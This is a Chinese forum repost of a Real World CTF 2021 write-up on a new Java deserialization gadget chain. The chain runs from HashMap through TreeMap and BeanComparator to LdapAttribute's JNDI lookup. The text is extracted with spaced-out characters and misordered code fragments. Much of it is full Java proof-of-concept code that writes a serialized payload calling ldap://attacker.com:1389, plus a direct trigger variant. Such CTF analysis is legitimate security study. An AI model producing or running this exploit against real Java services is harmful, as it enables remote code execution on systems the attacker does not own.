搜索

[1166] 2021-01-15_RealWolrdCTFOldSystemNewgetterjndigadget

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-16
2021-01-15_RealWolrdCTFOldSystemNewgetterjndigadget R e a l   W o l r d   C T F   O l d   S y s t e m   N e w   g e t t e r   j n d i   g a d g e t Y 4 e r   C h a B u g   2 0 2 1 - 0 1 - 1 5 前 言 前 言 昨 天 晚 上 看 了 长 亭 的 一 篇 R e a l   W o l r d   C T F   3 r d   W r i t e u p   |   O l d   S y s t e m   推 文 ， 觉 得 很 有 意 思 ， 自 己 研 究 下 。 挖 掘 过 程 挖 掘 过 程 概 述 ： 从 H a s h M a p 触 发 T r e e M a p 的 g e t ( ) 从 而 进 入 到 c o m p a r e ( ) 。 w e b . x m l 中 声 明 了 s e r v l e t 路 由 ， 在 其 代 码 中 进 行 了 反 序 列 化 而 将 反 序 列 化 能 用 的 类 限 制 在 j d k 标 准 库 和 c l a s s p a t h 中 。 t h i s . a p p C l a s s L o a d e r
其 中 c c 库 为 2 . 1 没 有 I n v o k e r T r a n s f o r m e r 或 I n s t a n t i a t e T r a n s f o r m e r 。 c c 库 走 不 通 ， 看 c b 库   ， 很 明 显 可 以 调 用 任 意 对 象 的 g e t t e r 方 法 。 o r g . a p a c h e . c o m m o n s . b e a n u t i l s . B e a n C o m p a r a t o r
在 y s o 中 是 使 用 来 自 动 进 入 c o m p a r e 方 法 中 ， 而 目 标 环 境 是 j d k 1 . 4 ， 没 有 类 。 低 版 本 的 j d k 肯 定 有 对 自 动 排 序 队 列 的 另 一 种 实 现 ， 即 如 下 调 用 栈 通 过 T r e e M a p 的 g e t ( ) 方 法 触 发 g e t E n t r y ( ) 从 而 触 发 c o m p a r e ( ) P r i o r i t y Q u e u e P r i o r i t y Q u e u e P r i o r i t y Q u e u e j a v a . u t i l . H a s h M a p # r e a d O b j e c t j a v a . u t i l . H a s h M a p # p u t F o r C r e a t e j a v a . u t i l . H a s h M a p # e q j a v a . u t i l . A b s t r a c t M a p # e q u a l s j a v a . u t i l . T r e e M a p # g e t j a v a . u t i l . T r e e M a p # g e t E n t r y                         o r g . a p a c h e . c o m m o n s . b e a n u t i l s . B e a n C o m p a r a t o r # c o m p a r e
我 这 里 使 用 的 是 j d k 1 . 8 的 代 码 ， 大 差 不 差 最 后 都 能 触 发 c o m p a r e ( ) 。 那 么 现 在 的 关 键 点 就 在 于 如 何 触 发 T r e e M a p . g e t ( ) 。
在 H a s h M a p 反 序 列 化 时 会 调 用 到 ： 图 来 自 原 文 p u t F o r C r e a t e 用 于 判 断 h a s h 是 否 一 致 ， 可 以 通 过 构 造 值 一 样 但 引 用 地 址 不 一 样 的 两 个 对 象 来 解 决 。 这 样 就 完 成 了 从 反 序 列 化 入 口 到 p u t F o r C r e a t e ( ) T r e e M a p   t r e e M a p 1   =   n e w   T r e e M a p ( c o m p a r a t o r ) ; t r e e M a p 1 . p u t ( p a y l o a d O b j e c t ,   " a a a " ) ; T r e e M a p   t r e e M a p 2   =   n e w   T r e e M a p ( c o m p a r a t o r ) ; t r e e M a p 2 . p u t ( p a y l o a d O b j e c t ,   " a a a " ) ; H a s h M a p   h a s h M a p   =   n e w   H a s h M a p ( ) ; h a s h M a p . p u t ( t r e e M a p 1 ,   " b b b " ) ; h a s h M a p . p u t ( t r e e M a p 2 ,   " c c c " ) ; r e a d O b j e c t ( ) B e a n C o m p a r a t o r . c o m p a r e ( )
的 调 用 。 现 在 的 问 题 就 是 找 到 R C E 的 最 终 点 。 而 在 中 是 可 以 调 用 任 意 g e t t e r 方 法 的 ， 通 过 。 而 和 在 j d k 1 . 4 的 版 本 里 都 是 没 有 的 。 作 者 挖 到 了 一 条 新 链 ， 直 接 贴 调 用 栈 贴 一 下 图 ， 通 过 传 入 p r o p e r t y 为 来 触 发 ， 而 在 这 个 类 的 调 用 过 程 中 进 行 了 l o o k u p ( ) 。 o r g . a p a c h e . c o m m o n s . b e a n u t i l s . B e a n C o m p a r a t o r P r o p e r t y U t i l s . g e t P r o p e r t y ( ) T e m p l a t e s I m p l J d b c R o w S e t I m p l c o m . s u n . j n d i . l d a p . L d a p A t t r i b u t e # g e t A t t r i b u t e D e f i n i t i o n - >   j a v a x . n a m i n g . d i r e c t o r y . I n i t i a l D i r C o n t e x t # g e t S c h e m a ( j a v a x . n a m i n g . N a m e ) - >   c o m . s u n . j n d i . t o o l k i t . c t x . P a r t i a l C o m p o s i t e D i r C o n t e x t # g e t S c h e m a ( j a v a x . n a m i n g . N a m e ) - >   c o m . s u n . j n d i . t o o l k i t . c t x . C o m p o n e n t D i r C o n t e x t # p _ g e t S c h e m a - >   c o m . s u n . j n d i . t o o l k i t . c t x . C o m p o n e n t C o n t e x t # p _ r e s o l v e I n t e r m e d i a t e - >   c o m . s u n . j n d i . t o o l k i t . c t x . A t o m i c C o n t e x t # c _ r e s o l v e I n t e r m e d i a t e _ n n s - >   c o m . s u n . j n d i . t o o l k i t . c t x . C o m p o n e n t C o n t e x t # c _ r e s o l v e I n t e r m e d i a t e _ n n s - >   c o m . s u n . j n d i . l d a p . L d a p C t x # c _ l o o k u p - >   R C E a t t r i b u t e D e f i n i t i o n c o m . s u n . j n d i . l d a p . L d a p A t t r i b u t e # g e t A t t r i b u t e D e f i n i t i o n
这 里 直 接 跳 转 l o o k u p 的 底 层 实 现 进 行 j n d i 查 询 。 P O C 不 仅 仅 适 用 于 j d k 1 . 4 ， 在 1 . 8 也 测 试 成 功 。 利 用 场 景 在 有 任 意 的 有 任 意 的 g e t t e r 方 法 调 用 方 法 调 用 。 C T F 的 题 解 p a y l o a d i m p o r t   o r g . a p a c h e . c o m m o n s . b e a n u t i l s . B e a n C o m p a r a t o r ; i m p o r t   j a v a x . n a m i n g . C o m p o s i t e N a m e ;
在 j d k 1 . 8 中 可 以 用 下 面 的 ， 只 构 造 了 后 半 截 ， T r e e M a p 的 部 分 需 要 具 体 问 题 具 体 分 析 ， 只 要 可 以 调 用 即 可 。 i m p o r t   j a v a x . n a m i n g . C o m p o s i t e N a m e ; i m p o r t   j a v a . i o . F i l e O u t p u t S t r e a m ; i m p o r t   j a v a . i o . O b j e c t O u t p u t S t r e a m ; i m p o r t   j a v a . l a n g . r e f l e c t . C o n s t r u c t o r ; i m p o r t   j a v a . l a n g . r e f l e c t . F i e l d ; i m p o r t   j a v a . u t i l . H a s h M a p ; i m p o r t   j a v a . u t i l . T r e e M a p ; p u b l i c   c l a s s   P a y l o a d G e n e r a t o r   { p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   E x c e p t i o n   {                 S t r i n g   l d a p C t x U r l   =   " l d a p : / / a t t a c k e r . c o m : 1 3 8 9 " ;                 C l a s s   l d a p A t t r i b u t e C l a z z   =   C l a s s . f o r N a m e ( " c o m . s u n . j n d i . l d a p . L d a p A t t r i b u t e " ) ;                 C o n s t r u c t o r   l d a p A t t r i b u t e C l a z z C o n s t r u c t o r   =   l d a p A t t r i b u t e C l a z z . g e t D e c l a r e d C o n s t r u c t o r ( n e w   C l a s s [ ]   { S t r i n g . c l a s s } ) ;                 l d a p A t t r i b u t e C l a z z C o n s t r u c t o r . s e t A c c e s s i b l e ( t r u e ) ;                 O b j e c t   l d a p A t t r i b u t e   =   l d a p A t t r i b u t e C l a z z C o n s t r u c t o r . n e w I n s t a n c e ( n e w   O b j e c t [ ]   { " n a m e " } ) ;                 F i e l d   b a s e C t x U r l F i e l d   =   l d a p A t t r i b u t e C l a z z . g e t D e c l a r e d F i e l d ( " b a s e C t x U R L " ) ;                 b a s e C t x U r l F i e l d . s e t A c c e s s i b l e ( t r u e ) ;                 b a s e C t x U r l F i e l d . s e t ( l d a p A t t r i b u t e ,   l d a p C t x U r l ) ;                 F i e l d   r d n F i e l d   =   l d a p A t t r i b u t e C l a z z . g e t D e c l a r e d F i e l d ( " r d n " ) ;                 r d n F i e l d . s e t A c c e s s i b l e ( t r u e ) ;                 r d n F i e l d . s e t ( l d a p A t t r i b u t e ,   n e w   C o m p o s i t e N a m e ( " a / / b " ) ) ; / /   G e n e r a t e   p a y l o a d                 B e a n C o m p a r a t o r   c o m p a r a t o r   =   n e w   B e a n C o m p a r a t o r ( " c l a s s " ) ;                 T r e e M a p   t r e e M a p 1   =   n e w   T r e e M a p ( c o m p a r a t o r ) ;                 t r e e M a p 1 . p u t ( l d a p A t t r i b u t e ,   " a a a " ) ;                 T r e e M a p   t r e e M a p 2   =   n e w   T r e e M a p ( c o m p a r a t o r ) ;                 t r e e M a p 2 . p u t ( l d a p A t t r i b u t e ,   " a a a " ) ;                 H a s h M a p   h a s h M a p   =   n e w   H a s h M a p ( ) ;                 h a s h M a p . p u t ( t r e e M a p 1 ,   " b b b " ) ;                 h a s h M a p . p u t ( t r e e M a p 2 ,   " c c c " ) ;                 F i e l d   p r o p e r t y F i e l d   =   B e a n C o m p a r a t o r . c l a s s . g e t D e c l a r e d F i e l d ( " p r o p e r t y " ) ;                 p r o p e r t y F i e l d . s e t A c c e s s i b l e ( t r u e ) ;                 p r o p e r t y F i e l d . s e t ( c o m p a r a t o r ,   " a t t r i b u t e D e f i n i t i o n " ) ;                 O b j e c t O u t p u t S t r e a m   o o s   =   n e w   O b j e c t O u t p u t S t r e a m ( n e w   F i l e O u t p u t S t r e a m ( " o b j e c t . s e r " ) ) ;                 o o s . w r i t e O b j e c t ( h a s h M a p ) ;                 o o s . c l o s e ( ) ;         } } g e t A t t r i b u t e D e f i n i t i o n p a c k a g e   c o m . t e s t ; i m p o r t   j a v a x . n a m i n g . C o m p o s i t e N a m e ; i m p o r t   j a v a . l a n g . r e f l e c t . C o n s t r u c t o r ; i m p o r t   j a v a . l a n g . r e f l e c t . F i e l d ; i m p o r t   j a v a . l a n g . r e f l e c t . M e t h o d ; p u b l i c   c l a s s   M a i n   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   {                 t r y   {                         S t r i n g   l d a p C t x U r l   =   " l d a p : / / l o c a l h o s t : 1 3 8 9 " ;
参 考 参 考 1 . h t t p s : / / g i t h u b . c o m / v o i d f y o o / r w c t f - 2 0 2 1 - o l d - s y s t e m / t r e e / m a i n / w r i t e u p 2 . h t t p s : / / c t f t i m e . o r g / t a s k / 1 4 5 0 0 3 . R e a l   W o l r d   C T F   3 r d   W r i t e u p   |   O l d   S y s t e m 分 享 、 点 赞 、 在 看 就 是 对 我 们 的 一 种 支 持 ！                         C l a s s   l d a p A t t r i b u t e C l a z z   =   C l a s s . f o r N a m e ( " c o m . s u n . j n d i . l d a p . L d a p A t t r i b u t e " ) ;                         C o n s t r u c t o r   l d a p A t t r i b u t e C l a z z C o n s t r u c t o r   =   l d a p A t t r i b u t e C l a z z . g e t D e c l a r e d C o n s t r u c t o r (                                         n e w   C l a s s [ ] { S t r i n g . c l a s s } ) ;                         l d a p A t t r i b u t e C l a z z C o n s t r u c t o r . s e t A c c e s s i b l e ( t r u e ) ;                         O b j e c t   l d a p A t t r i b u t e   =   l d a p A t t r i b u t e C l a z z C o n s t r u c t o r . n e w I n s t a n c e (                                         n e w   O b j e c t [ ] { " n a m e " } ) ;                         F i e l d   b a s e C t x U r l F i e l d   =   l d a p A t t r i b u t e C l a z z . g e t D e c l a r e d F i e l d ( " b a s e C t x U R L " ) ;                         b a s e C t x U r l F i e l d . s e t A c c e s s i b l e ( t r u e ) ;                         b a s e C t x U r l F i e l d . s e t ( l d a p A t t r i b u t e ,   l d a p C t x U r l ) ;                         F i e l d   r d n F i e l d   =   l d a p A t t r i b u t e C l a z z . g e t D e c l a r e d F i e l d ( " r d n " ) ;                         r d n F i e l d . s e t A c c e s s i b l e ( t r u e ) ;                         r d n F i e l d . s e t ( l d a p A t t r i b u t e ,   n e w   C o m p o s i t e N a m e ( " a / / b " ) ) ;                         M e t h o d   g e t A t t r i b u t e D e f i n i t i o n M e t h o d   =   l d a p A t t r i b u t e C l a z z . g e t M e t h o d ( " g e t A t t r i b u t e D e f i n i t i o n " ,   n e w   C l a s s [ ] { } ) ;                         g e t A t t r i b u t e D e f i n i t i o n M e t h o d . s e t A c c e s s i b l e ( t r u e ) ;                         g e t A t t r i b u t e D e f i n i t i o n M e t h o d . i n v o k e ( l d a p A t t r i b u t e ,   n e w   O b j e c t [ ] { } ) ;                 }   c a t c h   ( E x c e p t i o n   e )   {                         e . p r i n t S t a c k T r a c e ( ) ;                 }         } }

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理